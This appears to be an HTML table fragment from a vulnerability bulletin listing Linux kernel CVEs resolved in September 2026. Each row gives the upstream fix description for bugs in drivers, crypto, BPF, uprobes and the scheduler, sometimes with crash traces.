&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-apple: Use acquire/release for queue enabled state apple_nvme_init_queue() initializes queue state and then marks the queue enabled. The interrupt and request paths check enabled before using that queue state. The old wmb() after WRITE_ONCE(enabled, true) does not publish the earlier initialization before enabled becomes visible. Use a release store when enabling the queue and acquire loads when testing it. Although the shutdown-side enabled accesses are not used for publishing queue initialization, use helpers for them as well for consistency.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93152&quot; target=&quot;_blank&quot;&gt;CVE-2026-93152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/bng_re: return a timeout when firmware responses stall __wait_for_resp() documents that it returns a non-zero error when a firmware command does not complete, and bng_re_rcfw_send_message() already marks the firmware as stalled when the helper returns -ENODEV. However, the helper ignores wait_event_timeout() expiry. If the response slot remains in use after the timeout and after the polled CREQ service attempt, the loop starts another full timeout period and can repeat forever. Return -ENODEV after a timed out wait that still has no response. The existing caller then marks FIRMWARE_STALL_DETECTED and returns -ETIMEDOUT to the command issuer.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93153&quot; target=&quot;_blank&quot;&gt;CVE-2026-93153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: keembay - Fix AEAD unregister count in error path register_aes_algs() registers the AEAD algorithms before registering the skcipher algorithms. If skcipher registration fails, the function unwinds the earlier AEAD registration with crypto_engine_unregister_aeads(), but it passes ARRAY_SIZE(algs), which is the skcipher table size. Use ARRAY_SIZE(algs_aead) for the AEAD unwind path so the unregister helper iterates over the same table that was registered. Also clarify the nearby comment: the crypto registration helpers clean up algorithms registered within the same call, while this function must still unwind earlier successful registration steps.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93155&quot; target=&quot;_blank&quot;&gt;CVE-2026-93155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: rk3288 - fail ahash requests on HASH idle timeout rk_hash_run() waits for RK_CRYPTO_HASH_STS to become idle after the final DMA transfer, but ignores the poll result. If the hash engine never becomes idle, the driver still reads the digest registers and finalizes the request with the previous success value. Store the poll result and finalize the request with the timeout error before reading the digest registers.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93156&quot; target=&quot;_blank&quot;&gt;CVE-2026-93156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwrng: xilinx-trng - propagate timeout before any data is read xtrng_readblock32() polls for 16-byte chunks but returns the number of bytes read even when the first poll times out. Its caller then treats a zero return as a short successful read, and partial reads for full 32-byte blocks can make the tail copy use a fixed block offset rather than the amount already produced. Return the poll error when no data has been read, preserve partial positive returns after some data is available, stop the generator on all collection exits, and append tail bytes at the current output count.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93157&quot; target=&quot;_blank&quot;&gt;CVE-2026-93157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: sa2ul - stop probe if context pool creation fails sa_ul_probe() calls sa_init_mem() to create the DMA pool used for security context buffers, but ignores its return value. If pool creation fails, probe still continues with DMA setup, algorithm registration and child population even though later request setup depends on that pool. Stop probing when sa_init_mem() fails, and route that failure to the PM cleanup path without attempting to destroy an uncreated DMA pool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93158&quot; target=&quot;_blank&quot;&gt;CVE-2026-93158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-sha204a - fix heap info leak on I2C transfer failure The nonblocking RNG path allocates a work_data structure to track the state of an in-flight asynchronous I2C request. This pointer is stored in rng-&amp;gt;priv and later consumed by the read path once the transaction completes. If the underlying I2C transfer fails, the completion callback is invoked with a non-zero status. In this case, the allocated work_data is not usable for producing RNG output and must not remain associated with the hwrng state. Previously, the failure path only logged a warning but left the pointer state uncleared, which can result in subsequent read attempts observing stale state and interpreting it as valid completion data. Fix this by freeing the pending work_data. The I2C transaction reports an error. This ensures that failed requests do not leave residual state behind that could be interpreted as valid RNG data on later reads. Clearing rng-&amp;gt;priv is done at the subsequent call to nonblocking read.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93159&quot; target=&quot;_blank&quot;&gt;CVE-2026-93159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-ecc - reject hardware ECDH without a public key The hardware ECDH path in atmel_ecdh_compute_shared_secret() uses the private key stored in the device. However, the public key is cached only after atmel_ecdh_set_secret() successfully generated that private key for the current tfm. atmel_ecdh_generate_public_key() already rejects requests when no public key is cached. Add the same check to atmel_ecdh_compute_shared_secret() to prevent the device from using a private key that was not generated for the current tfm.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93160&quot; target=&quot;_blank&quot;&gt;CVE-2026-93160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: qat - clear AES key schedule from stack qat_alg_xts_reverse_key() expands the forward XTS AES key on the stack. That schedule contains key material and can remain in the stack frame. Clear the temporary crypto_aes_ctx with memzero_explicit() after the copy.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93161&quot; target=&quot;_blank&quot;&gt;CVE-2026-93161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: crypto: qat - cancel work on re-enable SR-IOV timeout The QAT reset worker queues SR-IOV reenable work using a work_struct and completion embedded in an on-stack adf_sriov_dev_data. If the completion wait times out, the reset worker can return while device_sriov_wq still holds or executes the stack-backed work item. Cancel the work on the device_sriov_wq on timeout before the stack frame unwinds.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93162&quot; target=&quot;_blank&quot;&gt;CVE-2026-93162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwrng: core - fix rng list on registration error hwrng_register(rng) does the following: 1. Checks if rng has name and read methods set 2. Checks if the name already exists 3. Adds rng to global rng_list 4. May try to set rng to current_rng If step 4 fails, it returns an error. However, it does not remove the rng from rng_list, causing a dangling reference which can result in use-after-free if the caller frees rng, since registration failed. Add a list_del_init() cleanup step.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93163&quot; target=&quot;_blank&quot;&gt;CVE-2026-93163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: uprobes/x86: Move optimized uprobe from nop5 to nop10 Andrii reported an issue with optimized uprobes [1] that can clobber redzone area with call instruction storing return address on stack where user code may keep temporary data without adjusting rsp. Fixing this by moving the optimized uprobes on top of 10-bytes nop instruction, so we can squeeze another instruction to escape the redzone area before doing the call, like: lea -0x80(%rsp), %rsp call tramp Note the lea instruction is used to adjust the rsp register without changing the flags. We use nop10 and following transformation to optimized instructions above and back as suggested by Peterz [2]. Optimize path (int3_update_optimize): 1) Initial state after set_swbp() installed the uprobe: cc 2e 0f 1f 84 00 00 00 00 00 From offset 0 this is INT3 followed by the tail of the original 10-byte NOP. After a previous unoptimization bytes 5..9 may still contain the old call instruction, which remains valid for threads already there. 2) Rewrite the LEA tail and call displacement: cc [8d 64 24 80 e8 d0 d1 d2 d3] From offset 0 this traps on the uprobe INT3. Bytes 1..9 are not executable entry points while byte 0 is trapped. 3) Publish the first LEA byte: [48] 8d 64 24 80 e8 d0 d1 d2 d3 From offset 0 this is: lea -0x80(%rsp), %rsp call &amp;lt;uprobe-trampoline&amp;gt; Unoptimize path (int3_update_unoptimize): 1) Initial optimized state: 48 8d 64 24 80 e8 d0 d1 d2 d3 Same as 3) above. 2) Trap new entries before restoring the NOP bytes: [cc] 8d 64 24 80 e8 d0 d1 d2 d3 From offset 0 this traps. A thread that had already executed the LEA can still reach the intact CALL at offset 5. 3) Restore bytes 1..4 of the original NOP while keeping byte 0 trapped and byte 5 as CALL. cc [2e 0f 1f 84] e8 d0 d1 d2 d3 From offset 0 this still traps. Offset 5 is still the CALL for any thread that was already past the first LEA byte. 4) Publish the first byte of the original NOP: [66] 2e 0f 1f 84 e8 d0 d1 d2 d3 From offset 0 this is the restored 10-byte NOP; the CALL opcode and displacement are now only NOP operands. Offset 5 still decodes as CALL for a thread that was already there. Tthere is only a single target uprobe-trampoline for the given nop10 instruction address, so the CALL instruction will not be changed across unoptimization/optimization cycles. Therefore, any task that is preempted at the CALL instruction is guaranteed to observe that CALL and not anything else. Note as explained in [2] we need to use following nop10: PF1 PF2 ESC NOPL MOD SIB DISP32 NOP10: 0x66, 0x2e, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 -- cs nopw 0x00000000(%rax,%rax,1) which means we need to allow 0x2e prefix which maps to INAT_PFX_CS attribute in is_prefix_bad function. Also changing the uprobe syscall error when called out of uprobe trampoline to -EPROTO, so we are able to detect the fixed kernel. The optimized uprobe performance stays the same: uprobe-nop : 3.129 Â± 0.013M/s uprobe-push : 3.045 Â± 0.006M/s uprobe-ret : 1.095 Â± 0.004M/s --&amp;gt; uprobe-nop10 : 7.170 Â± 0.020M/s uretprobe-nop : 2.143 Â± 0.021M/s uretprobe-push : 2.090 Â± 0.000M/s uretprobe-ret : 0.942 Â± 0.000M/s --&amp;gt; uretprobe-nop10: 3.381 Â± 0.003M/s usdt-nop : 3.245 Â± 0.004M/s --&amp;gt; usdt-nop10 : 7.256 Â± 0.023M/s [1] https://lore.kernel.org/bpf/20260509003146.976844-1-andrii@kernel.org/ [2] https://lore.kernel.org/bpf/20260518104306.GU3102624@noisy.programming.kicks-ass.net/#t&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93164&quot; target=&quot;_blank&quot;&gt;CVE-2026-93164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: rtw89: debug: fix off by on in rtw89_ppdu_str() This &amp;gt; comparison should be &amp;gt;= to avoid an out of bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93166&quot; target=&quot;_blank&quot;&gt;CVE-2026-93166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: csky: Fix a4/a5 restoration in syscall trace path The syscall trace path reloads syscall arguments from pt_regs before calling the syscall handler. On C-SKY ABIv2, the 5th and 6th syscall arguments are prepared as stack arguments before invoking syscallid. The current code adjusts sp before loading LSAVE_A4 and LSAVE_A5. Since those offsets are relative to the original pt_regs base, loading them after changing sp fetches the wrong slots. As a result, traced syscalls that use the 5th or 6th argument may receive corrupted arguments. This is visible with mmap2(), which takes six arguments. A small PTRACE_SYSCALL reproducer opens a file and maps one page with: mmap(NULL, 4096, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0) Before the fix, the traced child fails the mmap and exits with 12. After the fix, the mapping succeeds and the child exits with 0. Fix the trace path by loading a4/a5 from pt_regs before changing sp. Tested on: ck860f, linux-4.19.15, C-SKY abiv2&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93167&quot; target=&quot;_blank&quot;&gt;CVE-2026-93167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: xilinx_dma: Fix CPU stall in xilinx_dma_poll_timeout Currently when calling xilinx_dma_poll_timeout with delay_us=0 and a condition that is never fulfilled, the CPU busy-waits for prolonged time and the timeout triggers only with a massive delay causing a CPU stall. This happens due to a huge underestimation of wall clock time in poll_timeout_us_atomic. Commit 7349a69cf312 (&quot;iopoll: Do not use timekeeping in read_poll_timeout_atomic()&quot;) changed the behavior to no longer use ktime_get at the expense of underestimation of wall clock time which appears to be very large for delay_us=0. Instead of timing out after approximately XILINX_DMA_LOOP_COUNT microseconds, the timeout takes XILINX_DMA_LOOP_COUNT * 1000 * (time that the overhead of the for loop in poll_timeout_us_atomic takes) which is in the range of several minutes for XILINX_DMA_LOOP_COUNT=1000000. Fix this by using a non-zero value for delay_us. Use delay_us=10 to keep the delay in the hot path of starting DMA transfers minimal but still avoid CPU stalls in case of unexpected hardware failures. One-off measurement with delay_us=0 causes the cpu to busy wait around 7 minutes in the timeout case. After applying this patch with delay_us=10 the measured timeout was 1053428 microseconds which is roughly equivalent to the expected 1000000 microseconds specified in XILINX_DMA_LOOP_COUNT. Add a constant XILINX_DMA_POLL_DELAY_US for delay_us value.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93168&quot; target=&quot;_blank&quot;&gt;CVE-2026-93168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: zynqmp_dma: fix race between runtime PM and device removal In zynqmp_dma_remove(), runtime PM was disabled only after checking state and doing a manual suspend. This can race with runtime PM in the remove/unbind (rmmod) path. Disable runtime PM first, then suspend only if the device is not already suspended. To prevent any further runtime PM transitions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93169&quot; target=&quot;_blank&quot;&gt;CVE-2026-93169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: leds: lp5860: Fix a potential double-unlock In lp5860_device_init(), if lp5860_init_dt() fails, an already unlocked mutex is unlocked another time. Slightly rework how the lock is taken/released to avoid this potential double unlock.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93171&quot; target=&quot;_blank&quot;&gt;CVE-2026-93171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mm/mm_init: handle alloc_percpu failure in free_area_init_core_hotplug We miss a failed allocation check for pgdat-&amp;gt;per_cpu_nodestats, which results in a NULL deref when we offset into the per-cpu area. Propagate -ENOMEM up the stack and leave per_cpu_nodestats pointing at boot_nodestats so a later online can retry the allocation. hotadd_init_pgdat() returns NULL on failure, which __try_online_node() already maps to -ENOMEM. On failure nothing needs to be unwound: - the node is never marked online - per_cpu_nodestats is left pointing at boot_nodestats - __add_memory_resource() cleans up pending memblock resources - later online attempts retry the per_cpu_nodestats allocation&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93172&quot; target=&quot;_blank&quot;&gt;CVE-2026-93172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf,lsm: Drop bpf_prog_free from sleepable_lsm_hooks __bpf_prog_put_rcu() is the call_rcu() callback for non-sleepable programs. security_bpf_prog_free() called from there fires bpf_prog_free in softirq; if a sleepable LSM prog is attached to that hook, might_fault() BUGs: BUG: sleeping function called from invalid context in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 5038 preempt_count: 101, expected: 0 Call Trace: &amp;lt;IRQ&amp;gt; __bpf_prog_enter_sleepable+0x1cd/0x320 kernel/bpf/trampoline.c:1255 bpf_trampoline_6442549705+0x53/0xd7 security_bpf_prog_free+0xde/0x130 security/security.c:5465 __bpf_prog_put_rcu+0xab/0xd0 kernel/bpf/syscall.c:2365 rcu_do_batch kernel/rcu/tree.c:2617 [inline] handle_softirqs+0x236/0x800 kernel/softirq.c:622 &amp;lt;/IRQ&amp;gt; The call_rcu/call_rcu_tasks_trace split reflects the freed program&#039;s sleepability, not that of any attached observer. security_bpf_prog_free() also frees prog-&amp;gt;aux-&amp;gt;security, which has to stay after the grace period, so drop bpf_prog_free from sleepable_lsm_hooks rather than move the call. Non-sleepable observers still run there.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93173&quot; target=&quot;_blank&quot;&gt;CVE-2026-93173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Copy per-CPU map value padding in copy_map_value_long() In kernel, per-CPU map elements are stored with round_up(map-&amp;gt;value_size, 8) bytes. On UAPI lookup paths, it copies the rounded size for each CPU into a temporary buffer. However, copy_map_value_long() passes &#039;map-&amp;gt;value_size&#039; to bpf_obj_memcpy(). When the map has special fields, bpf_obj_memcpy() copies around those fields with memcpy(), and does not copy the tail padding between &#039;map-&amp;gt;value_size&#039; and round_up(map-&amp;gt;value_size, 8). The temporary UAPI lookup buffers are allocated without __GFP_ZERO. As a result, when the per-CPU map&#039;s value size is not equal to round_up(map-&amp;gt;value_size, 8), UAPI LOOKUP_ELEM and its variants can return stale heap contents from that padding to user space. The same issue applies to bpf_iter for per-CPU maps. Pass round_up(map-&amp;gt;value_size, 8) to bpf_obj_memcpy() from copy_map_value_long(), so per-CPU maps both with and without special fields copy the entire per-CPU slot. Remove the now redundant round_up() from bpf_obj_memcpy()&#039;s long_memcpy path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93174&quot; target=&quot;_blank&quot;&gt;CVE-2026-93174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/powerplay: fix VoltageObjectInfo zero-stride loop and OOB read Reject voltage objects whose usSize is smaller than the header or would advance the cursor past the table end, preventing an infinite loop or heap OOB read when the VBIOS supplies a malformed VoltageObjectInfo table.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93179&quot; target=&quot;_blank&quot;&gt;CVE-2026-93179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/panthor: Fix NPD issue on partial unmap of an evicted BO This commit fixes the NULL pointer dereference issue that would have happened on the split of GPU mapping due to partial unmap of an evicted BO. There is a logic to handle the partial unmap of huge pages when the GPU mapping is split. That logic was not being completely skipped for the VMA of an evicted BO and that resulted in a NPD possibility for the &#039;bo-&amp;gt;backing.pages&#039; pointer, which is set to NULL when pages of a BO are released on eviction. Following dump was seen when a partial unmap was exercised for an evicted BO. Unable to handle kernel paging request at virtual address 0000000000002000 Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=00000008842e8000 [0000000000002000] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP &amp;lt;snip&amp;gt; pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : iova_mapped_as_huge_page+0x20/0x68 [panthor] lr : panthor_gpuva_sm_step_remap+0x39c/0x498 [panthor] sp : ffff800086193920 x29: ffff800086193920 x28: ffff800086193a18 x27: ffff800086193b80 x26: 0000000000400000 x25: 0000000000810000 x24: 0000000000400000 x23: ffff000808af1800 x22: 0000000000a00000 x21: ffff800086193a00 x20: ffff000806fd3f00 x19: 0000000000410000 x18: 00000000ffffffff x17: 0000000000000000 x16: 0000000000000000 x15: ffff800083ce2d83 x14: 0000000000000000 x13: 3120646574636976 x12: 6520303030303138 x11: 2d30303030313420 x10: ffff8000836e6c80 x9 : ffff80007bfc889c x8 : 3fffffffffffefff x7 : ffff8000836e6c80 x6 : 0000000000000000 x5 : ffff00097ef19088 x4 : 0000000000000000 x3 : 0000000000000000 x2 : 0000000000010000 x1 : 0000000000000400 x0 : 0000000000000000 Call trace: iova_mapped_as_huge_page+0x20/0x68 [panthor] (P) op_remap_cb.isra.0+0x70/0xb0 __drm_gpuvm_sm_unmap+0xf8/0x1c0 drm_gpuvm_sm_unmap+0x40/0x60 panthor_vm_exec_op+0xa0/0x168 [panthor] panthor_vm_bind_exec_sync_op+0x8c/0xb8 [panthor] panthor_ioctl_vm_bind+0xbc/0x170 [panthor] drm_ioctl_kernel+0xc0/0x140 drm_ioctl+0x20c/0x500 __arm64_sys_ioctl+0xb4/0x118 invoke_syscall+0x5c/0x120 el0_svc_common.constprop.0+0x48/0xf8 do_el0_svc+0x28/0x40 el0_svc+0x38/0x128 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x198/0x1a0 Code: 8b030021 cb020021 f940b800 d34cfc21 (f8617801) ---[ end trace 0000000000000000 ]--- v2: Fix indentation&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93180&quot; target=&quot;_blank&quot;&gt;CVE-2026-93180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel/uncore: Fix uncore_box ref/unref ordering In uncore_event_cpu_online(), uncore_box_ref() was called before uncore_change_context(). uncore_box_ref() gates on box-&amp;gt;cpu &amp;gt;= 0, but box-&amp;gt;cpu is still -1 at that point because uncore_change_context() has not run yet. As a result, the box is never initialized on the first CPU to come online in a die, leaving it permanently uninitialized in the single-CPU-per-die case. Thus, box-&amp;gt;refcnt is one count below the true value, and in the CPU offline path, the box will be torn down on the second-to-last CPU. In uncore_event_cpu_offline(), uncore_box_unref() was called after uncore_change_context(), so box-&amp;gt;cpu is already -1 when the collector CPU goes offline, which prevents it from tearing down the box. Fix by swapping the call order in both paths so that uncore_box_{ref,unref}() runs at the point where box-&amp;gt;cpu reflects the correct context. Move allocate_boxes() out of uncore_box_ref() to enable this reordering.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93181&quot; target=&quot;_blank&quot;&gt;CVE-2026-93181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched/fair: Fix overflow in update_tg_cfs_runnable() A divide-by-zero crash is observed when running hackbench: [14697.488452] CPU: 112 UID: 0 PID: 124791 Comm: hackbench Not tainted 7.1.0-rc2+ [14697.492627] RIP: 0010:propagate_entity_load_avg+0x35f/0x3e0 [14697.506799] &amp;lt;TASK&amp;gt; [14697.507411] __dequeue_task+0x2b4/0xc70 [14697.508677] dequeue_task_fair+0x36/0x370 [14697.509047] dequeue_task+0x101/0x2f0 [14697.509426] __schedule+0x1b1/0x1a00 [14697.510868] anon_pipe_read+0x3da/0x450 [14697.511400] vfs_read+0x361/0x390 [14697.512053] __x64_sys_read+0x19/0x30 The divide-by-zero happens here: if (scale_load_down(gcfs_rq-&amp;gt;load.weight)) { load_sum = div_u64(gcfs_rq-&amp;gt;avg.load_sum, scale_load_down(gcfs_rq-&amp;gt;load.weight)); } gcfs_rq-&amp;gt;load.weight is an insane large value and is truncated to the lower 32 bits by div_u64, which happen to be 0. Using AI for investigation, the cause is a u32 overflow in update_tg_cfs_runnable(), and flat pickup became a victim when using tg_tasks(): u32 new_sum, divider; ... new_sum = se-&amp;gt;avg.runnable_avg * divider; &amp;lt;-- boom The following sequence shows how this triggers the crash: propagate_entity_load_avg() update_tg_cfs_runnable() # u32 overflow corrupts runnable_sum __update_load_avg_cfs_rq() ___update_load_avg() # computes insane runnable_avg update_tg_load_avg() # propagates to tg-&amp;gt;runnable_avg update_cfs_group() calc_concur_shares() tg_tasks() # long-to-int truncation, negative nr reweight_entity() # corrupted se-&amp;gt;load.weight update_load_add() # corrupted cfs_rq-&amp;gt;load.weight propagate_entity_load_avg() update_tg_cfs_load() div_u64() # divide-by-zero Fix by widening new_sum from u32 to u64 (no need to force tg_tasks() to return unsigned long after this fix)&lt;/td&gt;
